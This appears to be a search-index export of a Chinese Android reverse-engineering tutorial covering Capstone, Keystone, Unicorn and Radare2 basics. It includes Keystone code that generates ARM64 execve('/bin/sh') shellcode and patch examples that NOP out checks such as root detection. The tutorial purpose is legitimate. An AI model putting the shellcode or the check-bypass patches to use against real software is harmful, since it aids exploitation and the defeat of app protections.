md.disasm(X86_CODE, 0x1000): print(f\"0x{insn.address:x}:\\t{insn.mnemonic}\\t{insn.op_str}\") ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:3:6","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#36-x86x64-反汇编"},{"categories":null,"collections":null,"content":"4. Keystone - 汇编框架 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:4:0","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#4-keystone---汇编框架"},{"categories":null,"collections":null,"content":"4.1 Keystone 简介 Keystone 是 Capstone 的姊妹项目，功能相反：将汇编代码转换为机器码。它是编写 Shellcode、生成 Patch 的利器。 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:4:1","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#41-keystone-简介"},{"categories":null,"collections":null,"content":"4.2 基础使用 from keystone import * # 创建 ARM 汇编器 ks = Ks(KS_ARCH_ARM, KS_MODE_ARM) # 汇编代码 code = \"mov r0, #0x37; mov r1, #0x48; add r2, r0, r1\" encoding, count = ks.asm(code) print(f\"汇编指令数: {count}\") print(f\"机器码: {bytes(encoding).hex()}\") print(f\"字节列表: {encoding}\") ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:4:2","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#42-基础使用"},{"categories":null,"collections":null,"content":"4.3 ARM64 汇编 from keystone import * # 创建 ARM64 汇编器 ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) # 汇编多行代码 asm_code = \"\"\" mov x0, #0x1234 mov x1, #0x5678 add x2, x0, x1 ret \"\"\" try: encoding, count = ks.asm(asm_code) print(f\"成功汇编 {count} 条指令\") print(f\"机器码: {bytes(encoding).hex()}\") # 格式化输出 for i in range(0, len(encoding), 4): chunk = encoding[i:i+4] print(f\"0x{i:04x}: {bytes(chunk).hex()}\") except KsError as e: print(f\"汇编错误: {e}\") ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:4:3","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#43-arm64-汇编"},{"categories":null,"collections":null,"content":"4.4 生成 Shellcode from keystone import * def generate_arm64_shellcode(): \"\"\"生成 ARM64 execve(\"/bin/sh\") shellcode\"\"\" ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) shellcode_asm = \"\"\" // execve(\"/bin/sh\", NULL, NULL) mov x0, #0x622f // \"/b\" movk x0, #0x6e69, lsl #16 // \"in\" movk x0, #0x732f, lsl #32 // \"/s\" movk x0, #0x68, lsl #48 // \"h\\x00\" str x0, [sp, #-16]! // 保存字符串到栈 mov x0, sp // x0 = 字符串地址 mov x1, xzr // x1 = NULL mov x2, xzr // x2 = NULL mov x8, #221 // execve syscall number svc #0 // 系统调用 \"\"\" try: encoding, count = ks.asm(shellcode_asm) print(f\"Shellcode 长度: {len(encoding)} 字节\") print(f\"Shellcode: {bytes(encoding).hex()}\") return bytes(encoding) except KsError as e: print(f\"错误: {e}\") return None shellcode = generate_arm64_shellcode() ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:4:4","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#44-生成-shellcode"},{"categories":null,"collections":null,"content":"4.5 生成函数 Patch from keystone import * def create_patch(arch, mode, original_addr, patch_asm): \"\"\"创建二进制 Patch\"\"\" ks = Ks(arch, mode) # 处理地址相关指令 encoding, count = ks.asm(patch_asm, original_addr) return bytes(encoding) # 示例: 创建 ARM64 Patch # 原始: cmp x0, #0; b.eq skip # Patch: nop; nop (跳过检查) patch = create_patch( KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN, 0x1000, \"nop; nop\" ) print(f\"Patch 字节: {patch.hex()}\") ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:4:5","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#45-生成函数-patch"},{"categories":null,"collections":null,"content":"5. 三者协同使用 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:5:0","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#5-三者协同使用"},{"categories":null,"collections":null,"content":"5.1 反汇编 → 修改 → 重新汇编 from capstone import * from keystone import * def patch_instruction(code, addr, old_mnemonic, new_asm): \"\"\" 查找并替换特定指令 参数: code: 原始机器码 addr: 基地址 old_mnemonic: 要替换的指令助记符 new_asm: 新的汇编代码 \"\"\" # 反汇编查找目标指令 md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) patched = bytearray(code) for insn in md.disasm(code, addr): if insn.mnemonic == old_mnemonic: print(f\"找到目标指令: 0x{insn.address:x}: {insn.mnemonic} {insn.op_str}\") # 生成新指令 new_bytes, _ = ks.asm(new_asm) # 确保长度匹配 if len(new_bytes) != insn.size: print(f\"警告: 新指令长度 ({len(new_bytes)}) != 原指令长度 ({insn.size})\") # 使用 NOP 填充 while len(new_bytes) \u003c insn.size: nop_bytes, _ = ks.asm(\"nop\") new_bytes.extend(nop_bytes) # 应用 Patch offset = insn.address - addr for i, b in enumerate(new_bytes[:insn.size]): patched[offset + i] = b print(f\"Patch 完成: {bytes(new_bytes[:insn.size]).hex()}\") return bytes(patched) # 使用示例 original = bytes([ 0x1f, 0x00, 0x00, 0xf1, # cmp x0, #0 0x40, 0x00, 0x00, 0x54, # b.eq +8 0xe0, 0x03, 0x00, 0xaa, # mov x0, x0 0xc0, 0x03, 0x5f, 0xd6, # ret ]) # 将 b.eq 替换为 nop patched = patch_instruction(original, 0x1000, \"b.eq\", \"nop\") print(f\"\\n原始: {original.hex()}\") print(f\"修改: {patched.hex()}\") ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:5:1","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#51-反汇编--修改--重新汇编"},{"categories":null,"collections":null,"content":"5.2 动态指令插桩 from unicorn import * from unicorn.arm64_const import * from capstone import * from keystone import * class ARM64Instrumenter: \"\"\"ARM64 指令插桩器\"\"\" def __init__(self): self.md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) self.md.detail = True self.ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) self.mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 内存布局 self.CODE_ADDR = 0x10000 self.STACK_ADDR = 0x80000 self.mu.mem_map(self.CODE_ADDR, 0x10000) self.mu.mem_map(self.STACK_ADDR, 0x10000) self.mu.reg_write(UC_ARM64_REG_SP, self.STACK_ADDR + 0x8000) # 指令统计 self.insn_count = 0 self.branch_count = 0 self.mem_access_count = 0 def hook_code(self, uc, address, size, user_data): \"\"\"指令级 Hook，使用 Capstone 分析\"\"\" code = uc.mem_read(address, size) for insn in self.md.disasm(bytes(code), address): self.insn_count += 1 # 检测分支指令 if CS_GRP_JUMP in insn.groups or CS_GRP_CALL in insn.groups: self.branch_count += 1 print(f\"[BRANCH] 0x{address:x}: {insn.mnemonic} {insn.op_str}\") def run(self, code): \"\"\"执行代码\"\"\" self.mu.mem_write(self.CODE_ADDR, code) self.mu.hook_add(UC_HOOK_CODE, self.hook_code) try: self.mu.emu_start(self.CODE_ADDR, self.CODE_ADDR + len(code)) except UcError as e: print(f\"仿真错误: {e}\") print(f\"\\n执行统计:\") print(f\" 总指令数: {self.insn_count}\") print(f\" 分支指令: {self.branch_count}\") # 使用示例 instrumenter = ARM64Instrumenter() test_code = bytes([ 0x00, 0x00, 0x80, 0xd2, # mov x0, #0 0x21, 0x00, 0x80, 0xd2, # mov x1, #1 0x1f, 0x00, 0x01, 0xeb, # cmp x0, x1 0x40, 0x00, 0x00, 0x54, # b.eq +8 0x00, 0x04, 0x00, 0x91, # add x0, x0, #1 0xc0, 0x03, 0x5f, 0xd6, # ret ]) instrumenter.run(test_code) ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:5:2","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#52-动态指令插桩"},{"categories":null,"collections":null,"content":"5.3 控制流分析器 from capstone import * from capstone.arm64 import * class CFGAnalyzer: \"\"\"控制流图分析器\"\"\" def __init__(self): self.md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) self.md.detail = True def analyze(self, code, base_addr): \"\"\"分析代码的控制流\"\"\" blocks = {} current_block = [] current_addr = base_addr for insn in self.md.disasm(code, base_addr): current_block.append(insn) # 检查是否为基本块结束 is_branch = (ARM64_GRP_JUMP in insn.groups or ARM64_GRP_CALL in insn.groups or ARM64_GRP_RET in insn.groups) if is_branch: blocks[current_addr] = { 'instructions': current_block, 'start': current_addr, 'end': insn.address, 'type': self._get_block_type(insn), 'targets': self._get_targets(insn) } current_block = [] current_addr = insn.address + insn.size # 最后一个块 if current_block: blocks[current_addr] = { 'instructions': current_block, 'start': current_addr, 'end': current_block[-1].address, 'type': 'fall-through', 'targets': [] } return blocks def _get_block_type(self, insn): if ARM64_GRP_RET in insn.groups: return 'return' elif ARM64_GRP_CALL in insn.groups: return 'call' elif ARM64_GRP_JUMP in insn.groups: if insn.mnemonic.startswith('b.'): return 'conditional' return 'unconditional' return 'unknown' def _get_targets(self, insn): targets = [] for op in insn.operands: if op.type == ARM64_OP_IMM: targets.append(op.imm) return targets def print_cfg(self, blocks): \"\"\"打印控制流图\"\"\" print(\"=\" * 50) print(\"控制流图分析结果\") print(\"=\" * 50) for addr, block in blocks.items(): print(f\"\\n基本块 0x{addr:x} ({block['type']}):\") print(f\" 范围: 0x{block['start']:x} - 0x{block['end']:x}\") for insn in block['instructions']: print(f\" 0x{insn.address:x}: {insn.mnemonic} {insn.op_str}\") if block['targets']: print(f\" 跳转目标: {[hex(t) for t in block['targets']]}\") # 使用示例 analyzer = CFGAnalyzer() test_code = bytes([ 0x1f, 0x00, 0x00, 0xf1, # cmp x0, #0 0x40, 0x00, 0x00, 0x54, # b.eq 0x1010 0x00, 0x04, 0x00, 0x91, # add x0, x0, #1 0x01, 0x00, 0x00, 0x14, # b 0x1014 0x00, 0x00, 0x80, 0xd2, # mov x0, #0 0xc0, 0x03, 0x5f, 0xd6, # ret ]) blocks = analyzer.analyze(test_code, 0x1000) analyzer.print_cfg(blocks) ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:5:3","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#53-控制流分析器"},{"categories":null,"collections":null,"content":"6. 实战案例 💡 思路一句话: 二进制分析工具链的核心思路是「静态理解结构 + 动态验证行为」— Capstone 反汇编看指令、Unicorn 模拟执行验证、Keystone 汇编 patch 修改，三者配合完成分析闭环。 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:6:0","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#6-实战案例"},{"categories":null,"collections":null,"content":"6.1 案例: SO 函数仿真 💡 思路一句话: 用 Unicorn 模拟 SO 函数 — 映射内存 → 加载二进制 → 设置寄存器和栈 → 启动模拟 → 读取返回值。不需要真机，在 PC 上就能运行 ARM 代码。 from unicorn import * from unicorn.arm64_const import * from capstone import * class SOEmulator: \"\"\"简单的 SO 函数仿真器\"\"\" def __init__(self): self.mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) self.md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) # 内存布局 self.CODE_BASE = 0x10000 self.DATA_BASE = 0x20000 self.STACK_BASE = 0x80000 self.mu.mem_map(self.CODE_BASE, 0x10000) self.mu.mem_map(self.DATA_BASE, 0x10000) self.mu.mem_map(self.STACK_BASE, 0x10000) self.mu.reg_write(UC_ARM64_REG_SP, self.STACK_BASE + 0x8000) def load_function(self, code, offset=0): \"\"\"加载函数代码\"\"\" self.mu.mem_write(self.CODE_BASE + offset, code) return self.CODE_BASE + offset def call_function(self, addr, args=None): \"\"\"调用函数\"\"\" # 设置参数 (x0-x7) if args: regs = [UC_ARM64_REG_X0, UC_ARM64_REG_X1, UC_ARM64_REG_X2, UC_ARM64_REG_X3, UC_ARM64_REG_X4, UC_ARM64_REG_X5, UC_ARM64_REG_X6, UC_ARM64_REG_X7] for i, arg in enumerate(args[:8]): self.mu.reg_write(regs[i], arg) # 设置返回地址 ret_addr = 0xDEAD0000 self.mu.mem_map(ret_addr \u0026 ~0xfff, 0x1000) self.mu.reg_write(UC_ARM64_REG_LR, ret_addr) # 执行 try: self.mu.emu_start(addr, ret_addr) except UcError as e: if self.mu.reg_read(UC_ARM64_REG_PC) != ret_addr: raise e # 返回值 (x0) return self.mu.reg_read(UC_ARM64_REG_X0) # 使用示例 emu = SOEmulator() # 简单的加法函数: add_func(a, b) = a + b add_func_code = bytes([ 0x00, 0x00, 0x01, 0x8b, # add x0, x0, x1 0xc0, 0x03, 0x5f, 0xd6, # ret ]) func_addr = emu.load_function(add_func_code) result = emu.call_function(func_addr, args=[100, 200]) print(f\"add_func(100, 200) = {result}\") # 输出: 300 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:6:1","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#61-案例-so-函数仿真"},{"categories":null,"collections":null,"content":"6.2 案例: 指令 Patch 工具 💡 思路一句话: 用 Keystone 将汇编指令编译为机器码 → 写入 SO 文件的指定偏移 → 实现永久修改（如跳过检测函数、修改返回值）。 from capstone import * from keystone import * class BinaryPatcher: \"\"\"二进制 Patch 工具\"\"\" def __init__(self, arch='arm64'): if arch == 'arm64': self.md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) self.ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) elif arch == 'arm': self.md = Cs(CS_ARCH_ARM, CS_MODE_ARM) self.ks = Ks(KS_ARCH_ARM, KS_MODE_ARM) self.md.detail = True self.patches = [] def find_pattern(self, code, base_addr, pattern): \"\"\"查找指令模式\"\"\" results = [] for insn in self.md.disasm(code, base_addr): if pattern in f\"{insn.mnemonic} {insn.op_str}\": results.append({ 'address': insn.address, 'offset': insn.address - base_addr, 'size': insn.size, 'instruction': f\"{insn.mnemonic} {insn.op_str}\", 'bytes': insn.bytes.hex() }) return results def create_nop_patch(self, size, arch='arm64'): \"\"\"创建 NOP 填充\"\"\" if arch == 'arm64': nop = bytes([0x1f, 0x20, 0x03, 0xd5]) # nop else: nop = bytes([0x00, 0xf0, 0x20, 0xe3]) # nop (ARM) return nop * (size // 4) def patch_function_call(self, code, base_addr, target_func, return_value): \"\"\"Patch 函数调用，直接返回指定值\"\"\" # 生成: mov x0, #return_value; ret patch_asm = f\"mov x0, #{return_value}; ret\" patch_bytes, _ = self.ks.asm(patch_asm) # 查找目标函数 matches = self.find_pattern(code, base_addr, target_func) return matches, bytes(patch_bytes) def apply_patches(self, code, patches): \"\"\"应用所有 Patch\"\"\" patched = bytearray(code) for p in patches: offset = p['offset'] new_bytes = p['bytes'] for i, b in enumerate(new_bytes): if offset + i \u003c len(patched): patched[offset + i] = b return bytes(patched) # 使用示例 patcher = BinaryPatcher('arm64') # 模拟一段检测 Root 的代码 sample_code = bytes([ 0xfd, 0x7b, 0xbf, 0xa9, # stp x29, x30, [sp, #-16]! 0xfd, 0x03, 0x00, 0x91, # mov x29, sp 0x00, 0x00, 0x00, 0x94, # bl check_root (占位) 0x1f, 0x00, 0x00, 0xf1, # cmp x0, #0 0x40, 0x00, 0x00, 0x54, # b.eq not_rooted 0x20, 0x00, 0x80, 0xd2, # mov x0, #1 (rooted) 0x00, 0x00, 0x00, 0x14, # b exit 0x00, 0x00, 0x80, 0xd2, # mov x0, #0 (not rooted) 0xfd, 0x7b, 0xc1, 0xa8, # ldp x29, x30, [sp], #16 0xc0, 0x03, 0x5f, 0xd6, # ret ]) # 查找 bl 指令 calls = patcher.find_pattern(sample_code, 0x1000, 'bl') print(\"找到的函数调用:\") for c in calls: print(f\" 0x{c['address']:x}: {c['instruction']}\") ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:6:2","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#62-案例-指令-patch-工具"},{"categories":null,"collections":null,"content":"总结 工具 核心功能 典型应用场景 Unicorn CPU 指令仿真 SO 函数仿真、算法还原、脱壳 Capstone 反汇编 代码分析、指令识别、CFG 构建 Keystone 汇编 Patch 生成、Shellcode 编写 学习建议： 先掌握 Capstone 反汇编，理解指令结构 学习 Keystone 生成机器码，理解汇编过程 使用 Unicorn 进行动态仿真，结合前两者进行分析 进阶学习 Qiling/Unidbg 等高级框架 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:7:0","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#总结"},{"categories":null,"collections":null,"content":"相关章节 T05: Unidbg 使用指南 T06: Unidbg 内部原理 A06: SO 运行时仿真 F09: ARM 汇编入门 F10: x86 与 ARM 汇编基础 ","date":"2024-07-06","objectID":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/:8:0","tags":["Frida","脱壳","基础知识","Hook","Smali","Android"],"title":"二进制分析工具链","uri":"/reverse_engineering/android/04-reference/foundations/binary_analysis_toolkit/#相关章节"},{"categories":null,"collections":null,"content":"Radare2 入门 Radare2 (通常简称为 r2) 是一款开源、免费、命令行驱动的逆向工程框架。它不仅仅是一个反汇编器，更像是一个功能极其丰富的\"瑞士军刀\"，集成了十六进制编辑、反汇编、调试、代码分析、漏洞利用、数据可视化等多种功能。Radare2 以其高度的可脚本化和可扩展性而闻名，深受寻求自动化和深度定制的黑客、CTF 选手和安全研究员的喜爱。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:0:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#radare2-入门"},{"categories":null,"collections":null,"content":"核心理念与特性 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:1:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#核心理念与特性"},{"categories":null,"collections":null,"content":"命令行驱动 Radare2 的所有核心功能都通过命令行接口暴露。这使得它非常适合在终端、SSH 会话或脚本中运行，易于实现自动化。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:1:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#命令行驱动"},{"categories":null,"collections":null,"content":"模块化设计 其功能由一系列单字母命令和子命令构成，例如 p 用于打印 (print)，a 用于分析 (analyze)，d 用于调试 (debug)。这种设计遵循了 Unix 哲学。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:1:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#模块化设计"},{"categories":null,"collections":null,"content":"海量架构支持 Radare2 支持数量惊人的处理器架构，包括许多非常小众和古老的嵌入式架构，这方面甚至超过了 IDA Pro。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:1:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#海量架构支持"},{"categories":null,"collections":null,"content":"高度可脚本化 你可以使用任何你喜欢的语言（Python, Go, JavaScript, Rust 等）通过 r2pipe 与 Radare2 实例进行交互，实现复杂的自动化分析流程。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:1:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#高度可脚本化"},{"categories":null,"collections":null,"content":"内置调试器 集成了功能强大的多平台调试器，支持硬件断点、跟踪等高级功能。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:1:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#内置调试器"},{"categories":null,"collections":null,"content":"强大的二进制文件解析 不仅支持 ELF, PE, Mach-O 等标准格式，还能解析文件系统、图片、文档等各种二进制 blob。 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:1:6","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#强大的二进制文件解析"},{"categories":null,"collections":null,"content":"Radare2 vs. IDA Pro vs. Ghidra 特性 Radare2 IDA Pro Ghidra 价格 完全免费 非常昂贵 完全免费 开源 是 (C) 否 是 (Java) 核心优势 极致的脚本化和命令行 最强的交互式反汇编 高质量的免费反编译器 UI 命令行 (或 Cutter GUI) Qt，业界标准，成熟稳定 Java Swing，功能强大但略显笨重 学习曲线 非常陡峭 中等 中等 自动化 设计哲学核心，能力极强 主要通过 IDC/IDAPython 强大的 Headless 模式 灵活性 最高，一切皆可定制 较低，依赖插件 较高，可通过插件扩展 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:2:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#radare2-vs-ida-pro-vs-ghidra"},{"categories":null,"collections":null,"content":"安装与基础命令 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:3:0","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#安装与基础命令"},{"categories":null,"collections":null,"content":"安装方式 从源码编译（推荐） 最推荐的安装方式是通过 git 克隆官方仓库并运行安装脚本： git clone https://github.com/radareorg/radare2 cd radare2 sys/install.sh 通过包管理器安装 # macOS (Homebrew) brew install radare2 # Debian/Ubuntu sudo apt install radare2 # Arch Linux sudo pacman -S radare2 # Windows (scoop) scoop install radare2 验证安装 $ r2 -v radare2 5.9.6 0 @ linux-x86-64 commit: HEAD build: 2024-06-15 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:3:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#安装方式"},{"categories":null,"collections":null,"content":"安装方式 从源码编译（推荐） 最推荐的安装方式是通过 git 克隆官方仓库并运行安装脚本： git clone https://github.com/radareorg/radare2 cd radare2 sys/install.sh 通过包管理器安装 # macOS (Homebrew) brew install radare2 # Debian/Ubuntu sudo apt install radare2 # Arch Linux sudo pacman -S radare2 # Windows (scoop) scoop install radare2 验证安装 $ r2 -v radare2 5.9.6 0 @ linux-x86-64 commit: HEAD build: 2024-06-15 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:3:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#从源码编译推荐"},{"categories":null,"collections":null,"content":"安装方式 从源码编译（推荐） 最推荐的安装方式是通过 git 克隆官方仓库并运行安装脚本： git clone https://github.com/radareorg/radare2 cd radare2 sys/install.sh 通过包管理器安装 # macOS (Homebrew) brew install radare2 # Debian/Ubuntu sudo apt install radare2 # Arch Linux sudo pacman -S radare2 # Windows (scoop) scoop install radare2 验证安装 $ r2 -v radare2 5.9.6 0 @ linux-x86-64 commit: HEAD build: 2024-06-15 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:3:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#通过包管理器安装"},{"categories":null,"collections":null,"content":"安装方式 从源码编译（推荐） 最推荐的安装方式是通过 git 克隆官方仓库并运行安装脚本： git clone https://github.com/radareorg/radare2 cd radare2 sys/install.sh 通过包管理器安装 # macOS (Homebrew) brew install radare2 # Debian/Ubuntu sudo apt install radare2 # Arch Linux sudo pacman -S radare2 # Windows (scoop) scoop install radare2 验证安装 $ r2 -v radare2 5.9.6 0 @ linux-x86-64 commit: HEAD build: 2024-06-15 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:3:1","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#验证安装"},{"categories":null,"collections":null,"content":"启动与退出 # 以分析模式打开文件（-A 等同于启动后执行 aaa） r2 -A /bin/ls # 以调试模式打开文件 r2 -d /bin/ls # 以只读模式打开（不会修改原文件） r2 -n /path/to/binary # 以写模式打开（允许 patch） r2 -w /path/to/binary # 退出 r2（在 r2 交互界面中） [0x00000000]\u003e q ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:3:2","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#启动与退出"},{"categories":null,"collections":null,"content":"命令结构 Radare2 的命令结构遵循 [命令][子命令][参数] 模式。例如 pdf 是 p (print) -\u003e d (disassemble) -\u003e f (function) 的组合，意为\"打印函数反汇编\"。 核心概念：万物皆 ? 在任何命令后面加上 ? 都可以查看该命令的帮助文档。这是学习 Radare2 最重要的方法。 [0x00000000]\u003e ? # 顶级帮助 [0x00000000]\u003e a? # 分析命令帮助 [0x00000000]\u003e pdf? # 打印函数反汇编命令帮助 [0x00000000]\u003e s? # 跳转命令帮助 ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:3:3","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#命令结构"},{"categories":null,"collections":null,"content":"Seek（跳转） s 命令用于在文件中移动当前位置： [0x00000000]\u003e s main # 跳转到 main 函数 [0x00001080]\u003e s 0x8048400 # 跳转到绝对地址 [0x08048400]\u003e s+10 # 向前偏移 10 字节 [0x0804840a]\u003e s-5 # 向后偏移 5 字节 [0x08048405]\u003e s- # 撤销上一次跳转（后退） [0x0804840a]\u003e s+ # 重做跳转（前进） ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:3:4","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#seek跳转"},{"categories":null,"collections":null,"content":"常用启动参数 参数 说明 -A 启动后自动运行 aaa 分析 -d 以调试模式启动 -w 以读写模式打开（可 patch 二进制） -n 不加载任何二进制信息（纯裸模式） -c 启动后立即执行指定命令 -q 安静模式（通常配合 -c 做批量处理） -e 设定配置变量，如 -e asm.arch=arm -b 设定位数，如 -b 64 表示 64 位模式 示例：批量执行命令后退出： # 打开文件 -\u003e 分析 -\u003e 列出函数 -\u003e 退出 r2 -q -c 'aaa; afl' /path/to/binary ","date":"2024-06-29","objectID":"/reverse_engineering/android/02-tools/static/radare2_guide/:3:5","tags":["静态分析","Ghidra","IDA","Android","IDA Pro"],"title":"Radare2 入门","uri":"/reverse_engineering/android/02-tools/static/radare2_guide/#常用启动参数"},{"categories":null,"collections":null,"content":"Android SO 分析实战 💡 思路一句话: r2 的核心优势是「命令行+脚本化」— 适合在无 GUI 环境（服务器/CI）中自动化分析 SO 文件，用 r2pipe 将 r2 集成到 Python 分析流水线中。 在 Android 逆向中，原生层（Native）逻辑往往编译在 .so 共享库中。Radare2 对 ARM/AArch64 架构有良好的支持，非常适合分析这类文件。 